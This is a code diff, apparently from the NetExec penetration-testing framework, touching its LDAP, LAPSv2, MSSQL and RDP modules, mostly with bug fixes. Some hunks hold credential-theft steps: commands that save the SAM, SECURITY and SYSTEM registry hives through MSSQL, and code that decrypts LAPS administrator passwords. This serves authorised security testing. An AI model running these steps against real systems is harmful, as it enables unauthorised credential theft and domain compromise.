low_privilege_modules = {m: props for m, props in modules.items() if args.protocol in props["supported_protocols"] and not props["requires_admin"]}
|
||||
|
||||
@@ -7,6 +7,12 @@ protocol_dict = {
|
||||
"ssh": {"ports": [22], "services": ["ssh"]},
|
||||
"winrm": {"ports": [5986, 5985], "services": ["www", "https?"]},
|
||||
"http": {"ports": [80, 443, 8443, 8008, 8080, 8081], "services": ["www", "https?"]},
|
||||
"rdp": {"ports": [3389], "services": ["msrdp", "rdp", "ms-wbt-server"]},
|
||||
"vnc": {"ports": [5900, 5901, 5902, 5903], "services": ["vnc", "rfb"]},
|
||||
"ftp": {"ports": [21], "services": ["ftp"]},
|
||||
"ldap": {"ports": [389, 636], "services": ["ldap"]},
|
||||
"wmi": {"ports": [135], "services": ["epmap"]},
|
||||
"nfs": {"ports": [2049], "services": ["rpc-nfs", "nfs"]},
|
||||
}
|
||||
|
||||
|
||||
@@ -23,12 +29,11 @@ def parse_nessus_file(nessus_file, protocol):
|
||||
if ip in targets:
|
||||
return True
|
||||
|
||||
port = item["ReportItem"]["port"]
|
||||
# Nessus stores the port as a string, the lookup table uses ints
|
||||
port = int(item["ReportItem"]["port"])
|
||||
svc_name = item["ReportItem"]["svc_name"]
|
||||
|
||||
if port in protocol_dict[protocol]["ports"]:
|
||||
targets.append(ip)
|
||||
if svc_name in protocol_dict[protocol]["services"]:
|
||||
if port in protocol_dict[protocol]["ports"] or svc_name in protocol_dict[protocol]["services"]:
|
||||
targets.append(ip)
|
||||
|
||||
return True
|
||||
|
||||
@@ -12,7 +12,6 @@ from re import sub, IGNORECASE
|
||||
from zipfile import ZipFile
|
||||
from termcolor import colored
|
||||
from dns import resolver
|
||||
from dateutil.relativedelta import relativedelta as rd
|
||||
|
||||
from OpenSSL.SSL import SysCallError
|
||||
from bloodhound.ad.authentication import ADAuthentication
|
||||
@@ -231,7 +230,7 @@ class ldap(connection):
|
||||
|
||||
# Parse hostname and remoteName
|
||||
self.hostname = sanitize_dns(self.target.split(".", 1)[0].upper() or self.host, self.logger)
|
||||
self.remoteName = self.target
|
||||
self.remoteName = self.target if self.kerberos else self.host
|
||||
|
||||
# Parse NTLM challenge
|
||||
ntlm_challenge = None
|
||||
@@ -712,7 +711,8 @@ class ldap(connection):
|
||||
self.logger.debug(f"Search Filter={searchFilter}")
|
||||
|
||||
# Microsoft Active Directory set an hard limit of 1000 entries returned by any search
|
||||
paged_search_control = [ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000)] if not self.no_ntlm else ""
|
||||
# A baseObject search returns one entry at most, and AD refuses the paged control on an anonymous rootDSE read
|
||||
paged_search_control = [ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000)] if self.scope is None else None
|
||||
return self.ldap_connection.search(
|
||||
scope=self.scope,
|
||||
searchBase=baseDN,
|
||||
@@ -1537,12 +1537,12 @@ class ldap(connection):
|
||||
Get the Fine Grained Password Policy/PSOs
|
||||
Initial FGPP/PSO script written by @n00py: https://github.com/n00py/GetFGPP
|
||||
"""
|
||||
# Convert LDAP time to human readable format
|
||||
# Convert LDAP time (100ns intervals) to human readable format
|
||||
def pso_days(ldap_time):
|
||||
return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).days} days"
|
||||
return f"{abs(int(ldap_time)) // 864000000000} days"
|
||||
|
||||
def pso_mins(ldap_time):
|
||||
return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).minutes} minutes"
|
||||
return f"{abs(int(ldap_time)) // 600000000} minutes"
|
||||
|
||||
# Are there even any FGPPs?
|
||||
self.logger.info("Attempting to enumerate policies...")
|
||||
@@ -1779,7 +1779,7 @@ class ldap(connection):
|
||||
if self.args.kerberos:
|
||||
self.logger.highlight("Using kerberos auth without ccache, getting TGT")
|
||||
auth.get_tgt()
|
||||
if self.args.use_kcache:
|
||||
if self.use_kcache:
|
||||
self.logger.highlight("Using kerberos auth from ccache")
|
||||
auth.load_ccache()
|
||||
|
||||
|
||||
@@ -0,0 +1,124 @@
|
||||
from impacket.ldap.ldaptypes import ACCESS_MASK
|
||||
|
||||
# https://learn.microsoft.com/en-us/windows/win32/secauthz/well-known-sids
|
||||
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/81d92bba-d22b-4a8c-908a-554ab29148ab?source=recommendations
|
||||
WELL_KNOWN_SIDS = {
|
||||
"S-1-0": "Null Authority",
|
||||
"S-1-0-0": "Nobody",
|
||||
"S-1-1": "World Authority",
|
||||
"S-1-1-0": "Everyone",
|
||||
"S-1-2": "Local Authority",
|
||||
"S-1-2-0": "Local",
|
||||
"S-1-2-1": "Console Logon",
|
||||
"S-1-3": "Creator Authority",
|
||||
"S-1-3-0": "Creator Owner",
|
||||
"S-1-3-1": "Creator Group",
|
||||
"S-1-3-2": "Creator Owner Server",
|
||||
"S-1-3-3": "Creator Group Server",
|
||||
"S-1-3-4": "Owner Rights",
|
||||
"S-1-4": "Non-unique Authority",
|
||||
"S-1-5": "NT Authority",
|
||||
"S-1-5-1": "Dialup",
|
||||
"S-1-5-2": "Network",
|
||||
"S-1-5-3": "Batch",
|
||||
"S-1-5-4": "Interactive",
|
||||
"S-1-5-6": "Service",
|
||||
"S-1-5-7": "Anonymous",
|
||||
"S-1-5-8": "Proxy",
|
||||
"S-1-5-9": "Enterprise Domain Controllers",
|
||||
"S-1-5-10": "Principal Self",
|
||||
"S-1-5-11": "Authenticated Users",
|
||||
"S-1-5-12": "Restricted Code",
|
||||
"S-1-5-13": "Terminal Server Users",
|
||||
"S-1-5-14": "Remote Interactive Logon",
|
||||
"S-1-5-15": "This Organization",
|
||||
"S-1-5-17": "This Organization",
|
||||
"S-1-5-18": "Local System",
|
||||
"S-1-5-19": "NT Authority",
|
||||
"S-1-5-20": "NT Authority",
|
||||
"S-1-5-21-0-0-0-496": "Compounded Authentication", # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/11e1608c-6169-4fbc-9c33-373fc9b224f4#Appendix_A_13
|
||||
"S-1-5-21-0-0-0-497": "Claims Valid", # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/11e1608c-6169-4fbc-9c33-373fc9b224f4#Appendix_A_14
|
||||
"S-1-5-32-544": "Administrators",
|
||||
"S-1-5-32-545": "Users",
|
||||
"S-1-5-32-546": "Guests",
|
||||
"S-1-5-32-547": "Power Users",
|
||||
"S-1-5-32-548": "Account Operators",
|
||||
"S-1-5-32-549": "Server Operators",
|
||||
"S-1-5-32-550": "Print Operators",
|
||||
"S-1-5-32-551": "Backup Operators",
|
||||
"S-1-5-32-552": "Replicators",
|
||||
"S-1-5-32-553": "RAS and IAS Servers",
|
||||
"S-1-5-32-554": r"BUILTIN\Pre-Windows 2000 Compatible Access",
|
||||
"S-1-5-32-555": r"BUILTIN\Remote Desktop Users",
|
||||
"S-1-5-32-557": r"BUILTIN\Incoming Forest Trust Builders",
|
||||
"S-1-5-32-556": r"BUILTIN\Network Configuration Operators",
|
||||
"S-1-5-32-558": r"BUILTIN\Performance Monitor Users",
|
||||
"S-1-5-32-559": r"BUILTIN\Performance Log Users",
|
||||
"S-1-5-32-560": r"BUILTIN\Windows Authorization Access Group",
|
||||
"S-1-5-32-561": r"BUILTIN\Terminal Server License Servers",
|
||||
"S-1-5-32-562": r"BUILTIN\Distributed COM Users",
|
||||
"S-1-5-32-568": r"BUILTIN\DCOM Users",
|
||||
"S-1-5-32-569": r"BUILTIN\Cryptographic Operators",
|
||||
"S-1-5-32-571": r"BUILTIN\Cacheable Principals",
|
||||
"S-1-5-32-572": r"BUILTIN\Non-Cacheable Principals",
|
||||
"S-1-5-32-573": r"BUILTIN\Event Log Readers",
|
||||
"S-1-5-32-574": r"BUILTIN\Certificate Service DCOM Access",
|
||||
"S-1-5-32-575": r"BUILTIN\RDS Remote Access Servers",
|
||||
"S-1-5-32-576": r"BUILTIN\RDS Endpoint Servers",
|
||||
"S-1-5-32-577": r"BUILTIN\RDS Management Servers",
|
||||
"S-1-5-32-578": r"BUILTIN\Hyper-V Administrators",
|
||||
"S-1-5-32-579": r"BUILTIN\Access Control Assistance Operators",
|
||||
"S-1-5-32-580": r"BUILTIN\Remote Management Users",
|
||||
"S-1-5-32-581": r"BUILTIN\Default Account",
|
||||
"S-1-5-32-582": r"BUILTIN\Storage Replica Administrators",
|
||||
"S-1-5-32-583": r"BUILTIN\Device Owners",
|
||||
"S-1-5-32-584": r"BUILTIN\User Mode Hardware Operators",
|
||||
"S-1-5-32-585": r"BUILTIN\OpenSSH Users",
|
||||
"S-1-5-33": "Write Restricted Code",
|
||||
"S-1-5-64-10": "NTLM Authentication",
|
||||
"S-1-5-64-14": "SChannel Authentication",
|
||||
"S-1-5-64-21": "Digest Authority",
|
||||
"S-1-5-65-1": "This Organization Certificate", # see https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/39f588d6-21e3-4e09-a9f2-d8f7b9b998bf
|
||||
"S-1-5-80": "NT Service",
|
||||
"S-1-5-80-0": "All Services",
|
||||
"S-1-5-83-0": r"NT VIRTUAL MACHINE\Virtual Machines",
|
||||
"S-1-5-84-0-0-0-0-0": "User Mode Drivers",
|
||||
"S-1-5-1000": "Other Organization",
|
||||
"S-1-16-0": "Untrusted Mandatory Level",
|
||||
"S-1-16-4096": "Low Mandatory Level",
|
||||
"S-1-16-8192": "Medium Mandatory Level",
|
||||
"S-1-16-8448": "Medium Plus Mandatory Level",
|
||||
"S-1-16-12288": "High Mandatory Level",
|
||||
"S-1-16-16384": "System Mandatory Level",
|
||||
"S-1-16-20480": "Protected Process Mandatory Level",
|
||||
"S-1-16-28672": "Secure Process Mandatory Level",
|
||||
"S-1-18-1": "Authentication Authority Asserted Identity",
|
||||
"S-1-18-2": "Service Asserted Identity",
|
||||
"S-1-18-3": "Fresh public key identity",
|
||||
"S-1-18-5": "MFA Key Property",
|
||||
"S-1-18-6": "Attested Key Property",
|
||||
}
|
||||
|
||||
ACCESS_MASK_TO_TEXT_LOOKUP = {
|
||||
ACCESS_MASK.GENERIC_READ: "GENERIC_READ",
|
||||
ACCESS_MASK.GENERIC_WRITE: "GENERIC_WRITE",
|
||||
ACCESS_MASK.GENERIC_EXECUTE: "GENERIC_EXECUTE",
|
||||
ACCESS_MASK.GENERIC_ALL: "GENERIC_ALL",
|
||||
ACCESS_MASK.MAXIMUM_ALLOWED: "MAXIMUM_ALLOWED",
|
||||
ACCESS_MASK.ACCESS_SYSTEM_SECURITY: "ACCESS_SYSTEM_SECURITY",
|
||||
ACCESS_MASK.SYNCHRONIZE: "SYNCHRONIZE",
|
||||
ACCESS_MASK.WRITE_OWNER: "WRITE_OWNER",
|
||||
ACCESS_MASK.WRITE_DACL: "WRITE_DACL",
|
||||
ACCESS_MASK.READ_CONTROL: "READ_CONTROL",
|
||||
ACCESS_MASK.DELETE: "DELETE",
|
||||
# file system rights
|
||||
0x00000001: "FILE_READ_DATA",
|
||||
0x00000002: "FILE_WRITE_DATA",
|
||||
0x00000004: "FILE_APPEND_DATA",
|
||||
0x00000008: "FILE_READ_EA",
|
||||
0x00000010: "FILE_WRITE_EA",
|
||||
0x00000020: "FILE_EXECUTE",
|
||||
0x00000040: "FILE_DELETE_CHILD",
|
||||
0x00000080: "FILE_READ_ATTRIBUTES",
|
||||
0x00000100: "FILE_WRITE_ATTRIBUTES"
|
||||
}
|
||||
+19
-12
@@ -7,7 +7,7 @@ from impacket.krb5.kerberosv5 import KerberosError
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.epm import hept_map
|
||||
from impacket.dcerpc.v5.gkdi import MSRPC_UUID_GKDI, GkdiGetKey, GroupKeyEnvelope
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from impacket.dpapi_ng import EncryptedPasswordBlob, KeyIdentifier, compute_kek, create_sd, decrypt_plaintext, unwrap_cek
|
||||
|
||||
from nxc.logger import NXCAdapter
|
||||
@@ -169,7 +169,7 @@ class LDAPConnect:
|
||||
|
||||
|
||||
class LAPSv2Extract:
|
||||
def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port, dns_server):
|
||||
def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port, dns_server, rpc_host=None, rpc_name=None, aesKey=""):
|
||||
if ntlm_hash.find(":") != -1:
|
||||
self.lmhash, self.nthash = ntlm_hash.split(":")
|
||||
else:
|
||||
@@ -182,8 +182,11 @@ class LAPSv2Extract:
|
||||
self.domain = domain
|
||||
self.do_kerberos = do_kerberos
|
||||
self.kdcHost = kdcHost
|
||||
self.aesKey = aesKey
|
||||
self.logger = None
|
||||
self.dns_server = dns_server
|
||||
self.rpc_host = rpc_host or (dns_server if dns_server else domain)
|
||||
self.rpc_name = rpc_name or domain
|
||||
self.proto_logger(self.domain, port, self.domain)
|
||||
|
||||
def proto_logger(self, host, port, hostname):
|
||||
@@ -215,29 +218,30 @@ class LAPSv2Extract:
|
||||
gke = kds_cache[key_id["RootKeyId"]]
|
||||
else:
|
||||
# Connect on RPC over TCP to MS-GKDI to call opnum 0 GetKey
|
||||
string_binding = hept_map(destHost=self.domain if not self.dns_server else self.dns_server, remoteIf=MSRPC_UUID_GKDI, protocol="ncacn_ip_tcp")
|
||||
string_binding = hept_map(destHost=self.rpc_host, remoteIf=MSRPC_UUID_GKDI, protocol="ncacn_ip_tcp")
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
if hasattr(rpc_transport, "set_credentials"):
|
||||
rpc_transport.set_credentials(username=self.username, password=self.password, domain=self.domain, lmhash=self.lmhash, nthash=self.nthash)
|
||||
rpc_transport.setRemoteName(self.rpc_name)
|
||||
rpc_transport.set_credentials(username=self.username, password=self.password, domain=self.domain, lmhash=self.lmhash, nthash=self.nthash, aesKey=self.aesKey)
|
||||
if self.do_kerberos:
|
||||
self.logger.info("Connecting using kerberos")
|
||||
rpc_transport.set_kerberos(self.do_kerberos, kdcHost=self.kdcHost)
|
||||
|
||||
dce = rpc_transport.get_dce_rpc()
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
if self.do_kerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
self.logger.info(f"Connecting to {string_binding}")
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception as e:
|
||||
self.logger.error(f"Something went wrong, check error status => {e}")
|
||||
return False
|
||||
return None
|
||||
self.logger.info("Connected")
|
||||
try:
|
||||
dce.bind(MSRPC_UUID_GKDI)
|
||||
except Exception as e:
|
||||
self.logger.error(f"Something went wrong, check error status => {e!s}")
|
||||
return False
|
||||
return None
|
||||
self.logger.info("Successfully bound")
|
||||
self.logger.info("Calling MS-GKDI GetKey")
|
||||
|
||||
@@ -248,15 +252,12 @@ class LAPSv2Extract:
|
||||
kds_cache[gke["RootKeyId"]] = gke
|
||||
|
||||
kek = compute_kek(gke, key_id)
|
||||
self.logger.info(f"KEK:\t{kek}")
|
||||
enc_content_parameter = bytes(parsed_enveloped_data["encryptedContentInfo"]["contentEncryptionAlgorithm"]["parameters"])
|
||||
iv, _ = decoder.decode(enc_content_parameter)
|
||||
iv = bytes(iv[0])
|
||||
|
||||
cek = unwrap_cek(kek, bytes(kek_recipient_info["encryptedKey"]))
|
||||
self.logger.info(f"CEK:\t{cek}")
|
||||
plaintext = decrypt_plaintext(cek, iv, remaining)
|
||||
self.logger.info(plaintext[:-18].decode("utf-16le"))
|
||||
return plaintext[:-18].decode("utf-16le")
|
||||
|
||||
|
||||
@@ -325,13 +326,19 @@ def laps_search(self, username, password, cred_type, domain, dns_server):
|
||||
self.kerberos,
|
||||
self.kdcHost,
|
||||
339,
|
||||
dns_server
|
||||
dns_server,
|
||||
self.kdcHost,
|
||||
self.kdcHost,
|
||||
self.aesKey,
|
||||
)
|
||||
try:
|
||||
data = d.run()
|
||||
except Exception as e:
|
||||
self.logger.fail(str(e))
|
||||
return None, None, None
|
||||
if not data:
|
||||
self.logger.fail(f"Failed to decrypt msLAPS-EncryptedPassword for {self.hostname}")
|
||||
return None, None, None
|
||||
r = loads(data)
|
||||
msMCSAdmPwd = r["p"]
|
||||
username_laps = r["n"]
|
||||
|
||||
@@ -62,7 +62,8 @@ class LDAPResolution:
|
||||
else:
|
||||
nxc_logger.error(f"Error getting ldap info {e}")
|
||||
|
||||
machine_name = sanitize_dns(machine_name, nxc_logger)
|
||||
machine_name = sanitize_dns(machine_name, nxc_logger).upper()
|
||||
target_domain = sanitize_dns(target_domain, nxc_logger)
|
||||
target = sanitize_dns(target, nxc_logger)
|
||||
nxc_logger.debug(f"Target: {machine_name}.{target_domain}; target_domain: {target_domain}; base_dn: {base_dn}")
|
||||
return machine_name, target_domain
|
||||
return machine_name, target_domain, target
|
||||
@@ -153,6 +153,7 @@ class mssql(connection):
|
||||
self.logger.info(f"Failed to receive NTLM challenge, reason: {e!s}")
|
||||
return False
|
||||
else:
|
||||
self.remoteName = self.host
|
||||
if challenge.startswith(b"NTLMSSP\x00"):
|
||||
ntlm_info = parse_challenge(challenge)
|
||||
dns_hostname = ntlm_info["dns_hostname"] or ""
|
||||
@@ -160,6 +161,7 @@ class mssql(connection):
|
||||
domain = ntlm_info["domain"] or (dns_hostname.split(".", 1)[1] if "." in dns_hostname else self.host)
|
||||
self.hostname = sanitize_dns(hostname, self.logger)
|
||||
self.targetDomain = self.domain = sanitize_dns(domain, self.logger)
|
||||
self.remoteName = sanitize_dns(dns_hostname, self.logger) if self.kerberos else self.host
|
||||
self.server_os = ntlm_info["os_version"]
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
else:
|
||||
@@ -175,8 +177,6 @@ class mssql(connection):
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
|
||||
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
|
||||
|
||||
if not self.kdcHost and self.domain:
|
||||
result = self.resolver(self.domain)
|
||||
self.kdcHost = result["host"] if result else None
|
||||
@@ -572,7 +572,8 @@ class mssql(connection):
|
||||
sam_storename = gen_random_string(6)
|
||||
system_storename = gen_random_string(6)
|
||||
dump_command = f"reg save HKLM\\SAM C:\\windows\\temp\\{sam_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
|
||||
clean_command = f"del C:\\windows\\temp\\{sam_storename} && del C:\\windows\\temp\\{system_storename}"
|
||||
# del must list C:\windows\temp, which the SQL service account may not be allowed to do; Remove-Item -LiteralPath does not need to
|
||||
clean_command = f"powershell -NoProfile -Command Remove-Item -LiteralPath C:\\windows\\temp\\{sam_storename},C:\\windows\\temp\\{system_storename} -Force -ErrorAction SilentlyContinue"
|
||||
get_owner_command = f"icacls C:\\windows\\temp\\{sam_storename} /grant {self.username}:F && icacls C:\\windows\\temp\\{system_storename} /grant {self.username}:F"
|
||||
output_filename = self.output_file_template.format(output_folder="sam")
|
||||
try:
|
||||
@@ -607,7 +608,8 @@ class mssql(connection):
|
||||
security_storename = gen_random_string(6)
|
||||
system_storename = gen_random_string(6)
|
||||
dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
|
||||
clean_command = f"del C:\\windows\\temp\\{security_storename} && del C:\\windows\\temp\\{system_storename}"
|
||||
# del must list C:\windows\temp, which the SQL service account may not be allowed to do; Remove-Item -LiteralPath does not need to
|
||||
clean_command = f"powershell -NoProfile -Command Remove-Item -LiteralPath C:\\windows\\temp\\{security_storename},C:\\windows\\temp\\{system_storename} -Force -ErrorAction SilentlyContinue"
|
||||
get_owner_command = f"icacls C:\\windows\\temp\\{security_storename} /grant {self.username}:F && icacls C:\\windows\\temp\\{system_storename} /grant {self.username}:F"
|
||||
output_filename = self.output_file_template.format(output_folder="lsa")
|
||||
try:
|
||||
|
||||
+78
-141
@@ -40,7 +40,6 @@ class rdp(connection):
|
||||
self.domain = None
|
||||
self.server_os = None
|
||||
self.iosettings = RDPIOSettings()
|
||||
self.iosettings.video_out_format = VIDEO_FORMAT.RAW
|
||||
self.iosettings.clipboard_use_pyperclip = False
|
||||
self.protoflags_nla = [
|
||||
SUPP_PROTOCOLS.SSL,
|
||||
@@ -60,8 +59,8 @@ class rdp(connection):
|
||||
# servers dont support 8 any more :/
|
||||
self.iosettings.video_bpp_min = 15
|
||||
self.iosettings.video_bpp_max = 32
|
||||
# PIL produces incorrect picture for some reason?! TODO: check bug
|
||||
self.iosettings.video_out_format = VIDEO_FORMAT.PNG #
|
||||
# screenshots read the desktop buffer, so don't PNG-encode every update put on ext_out_queue
|
||||
self.iosettings.video_out_format = VIDEO_FORMAT.PIL
|
||||
self.domain = None
|
||||
self.server_os = None
|
||||
self.url = None
|
||||
@@ -87,7 +86,9 @@ class rdp(connection):
|
||||
"KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED",
|
||||
}
|
||||
|
||||
connection.__init__(self, args, db, host)
|
||||
# one event loop per target: aardwolf's reader tasks die with their loop, so a session can only be reused on the loop that opened it
|
||||
with asyncio.Runner() as self.runner:
|
||||
connection.__init__(self, args, db, host)
|
||||
|
||||
def proto_logger(self):
|
||||
import platform
|
||||
@@ -136,14 +137,14 @@ class rdp(connection):
|
||||
self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout, unsafe_ssl=True) # old servers only offer ciphers OpenSSL rejects at its default security level
|
||||
self.auth = NTLMCredential(secret="pass", username="user", domain="FAKE", stype=asyauthSecret.PASS)
|
||||
|
||||
asyncio.run(self.check_nla())
|
||||
self.runner.run(self.check_nla())
|
||||
|
||||
for proto in reversed(self.protoflags):
|
||||
try:
|
||||
self.conn = self._create_rdp_connection(
|
||||
self.auth, supported_protocols=proto
|
||||
)
|
||||
asyncio.run(self.connect_rdp_with_cleanup())
|
||||
self.runner.run(self.connect_rdp_with_cleanup())
|
||||
except OSError as e:
|
||||
if "Errno 104" not in str(e):
|
||||
return False
|
||||
@@ -156,8 +157,9 @@ class rdp(connection):
|
||||
except Exception:
|
||||
pass
|
||||
else:
|
||||
self.hostname = sanitize_dns(info_domain.get("computername") or self.host, self.logger)
|
||||
self.domain = sanitize_dns(info_domain.get("dnsdomainname") or self.host, self.logger)
|
||||
self.hostname = sanitize_dns(info_domain.get("computername"), self.logger)
|
||||
self.domain = sanitize_dns(info_domain.get("dnsdomainname"), self.logger)
|
||||
self.remoteName = sanitize_dns(info_domain.get("dnscomputername"), self.logger) if self.kerberos else self.host
|
||||
self.server_os = self.guess_os(info_domain)
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
break
|
||||
@@ -167,8 +169,6 @@ class rdp(connection):
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
|
||||
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
|
||||
|
||||
if not self.kdcHost and self.domain:
|
||||
result = self.resolver(self.domain)
|
||||
self.kdcHost = result["host"] if result else None
|
||||
@@ -199,13 +199,15 @@ class rdp(connection):
|
||||
|
||||
async def check_nla(self):
|
||||
self.logger.debug(f"Checking NLA for {self.host}")
|
||||
probe_connection = None
|
||||
try:
|
||||
self.conn = self._create_rdp_connection(
|
||||
None, supported_protocols=SUPP_PROTOCOLS.SSL
|
||||
)
|
||||
packetizer = TPKTPacketizer()
|
||||
client = UniClient(self.target, packetizer)
|
||||
self.conn._connection = await asyncio.wait_for(client.connect(), timeout=self.args.rdp_timeout)
|
||||
probe_connection = await asyncio.wait_for(client.connect(), timeout=self.args.rdp_timeout)
|
||||
self.conn._connection = probe_connection
|
||||
self.conn._x224net = X224Network(self.conn._connection)
|
||||
_, err = await asyncio.wait_for(self.conn._x224net.client_negotiate(0, SUPP_PROTOCOLS.SSL), timeout=self.args.rdp_timeout)
|
||||
# If no error SSL supported if SSL_NOT_ALLOWED_BY_SERVER error, plain RDP supported
|
||||
@@ -214,47 +216,48 @@ class rdp(connection):
|
||||
return
|
||||
except Exception:
|
||||
pass
|
||||
finally:
|
||||
# this probe socket is not owned by aardwolf, terminate() would not close it
|
||||
if probe_connection is not None:
|
||||
await probe_connection.close()
|
||||
|
||||
async def connect_rdp(self, auth_only=False):
|
||||
"""Connect to the RDP server. Does NOT clean up on exit.
|
||||
|
||||
When auth_only is True, performs only CredSSP/NLA authentication
|
||||
without establishing a full RDP session. This verifies credentials
|
||||
without creating a disconnected session on single-session hosts.
|
||||
"""
|
||||
_, err = await asyncio.wait_for(self.conn.connect(auth_only=auth_only), timeout=self.args.rdp_timeout)
|
||||
async def connect_rdp(self):
|
||||
"""Connect to the RDP server. Does NOT clean up on exit."""
|
||||
_, err = await asyncio.wait_for(self.conn.connect(), timeout=self.args.rdp_timeout)
|
||||
if err is not None:
|
||||
raise err
|
||||
self.logger.debug(f"RDP negotiated protocol: {self.conn.x224_protocol}, authz_result: {self.conn.authz_result}")
|
||||
|
||||
async def terminate_conn(self):
|
||||
"""Terminate the RDP connection with a timeout so cleanup doesn't hang."""
|
||||
"""Terminate the RDP connection with a timeout so cleanup doesn't hang (https://github.com/skelsec/aardwolf/issues/43)."""
|
||||
if self.conn is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
await asyncio.wait_for(self.conn.terminate(), timeout=self.args.rdp_timeout)
|
||||
|
||||
async def connect_rdp_with_cleanup(self, auth_only=False):
|
||||
def disconnect(self):
|
||||
self.runner.run(self.terminate_conn())
|
||||
|
||||
async def connect_rdp_with_cleanup(self):
|
||||
"""Connect to the RDP server and always terminate the connection on exit"""
|
||||
try:
|
||||
await self.connect_rdp(auth_only=auth_only)
|
||||
await self.connect_rdp()
|
||||
finally:
|
||||
await self.terminate_conn()
|
||||
|
||||
async def login_and_confirm(self):
|
||||
"""Connect and return whether a real session opened (Save Session Info PDU), always cleaning up.
|
||||
"""Log on and return whether a real session opened (Save Session Info PDU). The session stays open for -x/-X/--screenshot until disconnect().
|
||||
|
||||
That PDU never comes when access is authorized but the logon is refused (restricted admin).
|
||||
"""
|
||||
await self.terminate_conn() # a session kept by an earlier success (--continue-on-success) would take a session slot this logon needs
|
||||
self.conn = self._create_rdp_connection(self.auth)
|
||||
await self.connect_rdp()
|
||||
try:
|
||||
await self.connect_rdp()
|
||||
try:
|
||||
await asyncio.wait_for(self.conn.logon_info_received.wait(), timeout=self.args.rdp_timeout)
|
||||
return True
|
||||
except TimeoutError:
|
||||
self.logger.debug("No Save Session Info PDU: RDP access is granted but the interactive logon was refused (restricted admin)")
|
||||
return False
|
||||
finally:
|
||||
await self.terminate_conn()
|
||||
await asyncio.wait_for(self.conn.logon_info_received.wait(), timeout=self.args.rdp_timeout)
|
||||
return True
|
||||
except TimeoutError:
|
||||
self.logger.debug("No Save Session Info PDU: RDP access is granted but the interactive logon was refused (restricted admin)")
|
||||
return False
|
||||
|
||||
def rdp_access_denied(self):
|
||||
"""Whether the Early User Authorization Result PDU says the account has no RDP access right at all.
|
||||
@@ -265,6 +268,7 @@ class rdp(connection):
|
||||
return self.conn.authz_result == AUTHZ_ACCESS_DENIED
|
||||
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
self.username = username
|
||||
try:
|
||||
lmhash = ""
|
||||
nthash = ""
|
||||
@@ -285,14 +289,10 @@ class rdp(connection):
|
||||
|
||||
if useCache:
|
||||
stype = asyauthSecret.CCACHE
|
||||
if not password:
|
||||
password = password if password else getenv("KRB5CCNAME")
|
||||
if "/" in password:
|
||||
self.logger.fail("Kerberos ticket need to be on the local directory")
|
||||
return False
|
||||
ccache = CCache.loadFile(getenv("KRB5CCNAME"))
|
||||
ticketCreds = ccache.credentials[0]
|
||||
username = ticketCreds["client"].prettyPrint().decode().split("@")[0]
|
||||
password = getenv("KRB5CCNAME")
|
||||
ccache = CCache.loadFile(password)
|
||||
ticketCreds = ccache.credentials[0]
|
||||
username = ticketCreds["client"].prettyPrint().decode().split("@")[0]
|
||||
elif aesKey:
|
||||
stype = asyauthSecret.AES
|
||||
password = aesKey
|
||||
@@ -320,21 +320,7 @@ class rdp(connection):
|
||||
domain=domain,
|
||||
stype=stype,
|
||||
)
|
||||
self.conn = self._create_rdp_connection(self.auth)
|
||||
if self._execution_pending():
|
||||
# auth_only verifies creds without opening a full session, which on single-session
|
||||
# Win11 hosts would be left disconnected and break the clipboard execute_shell uses
|
||||
# (commit ac6f5814). It needs CredSSP/NLA; if the server doesn't negotiate it aardwolf
|
||||
# raises, so fall back to a full confirm on a FRESH connection (the failed one is
|
||||
# already torn down and cannot be reconnected), which also sets admin_privs.
|
||||
try:
|
||||
asyncio.run(self.connect_rdp_with_cleanup(auth_only=True))
|
||||
except RuntimeError as e:
|
||||
self.logger.debug(f"auth_only unavailable ({e!s}); retrying with a full logon")
|
||||
self.conn = self._create_rdp_connection(self.auth)
|
||||
self.admin_privs = asyncio.run(self.login_and_confirm())
|
||||
else:
|
||||
self.admin_privs = asyncio.run(self.login_and_confirm())
|
||||
self.admin_privs = self.runner.run(self.login_and_confirm())
|
||||
|
||||
self.logger.success(
|
||||
"{}\\{}{} {}".format(
|
||||
@@ -383,11 +369,8 @@ class rdp(connection):
|
||||
)
|
||||
return False
|
||||
|
||||
def _execution_pending(self):
|
||||
"""Check if command execution will follow authentication."""
|
||||
return bool(self.args.execute or self.args.ps_execute)
|
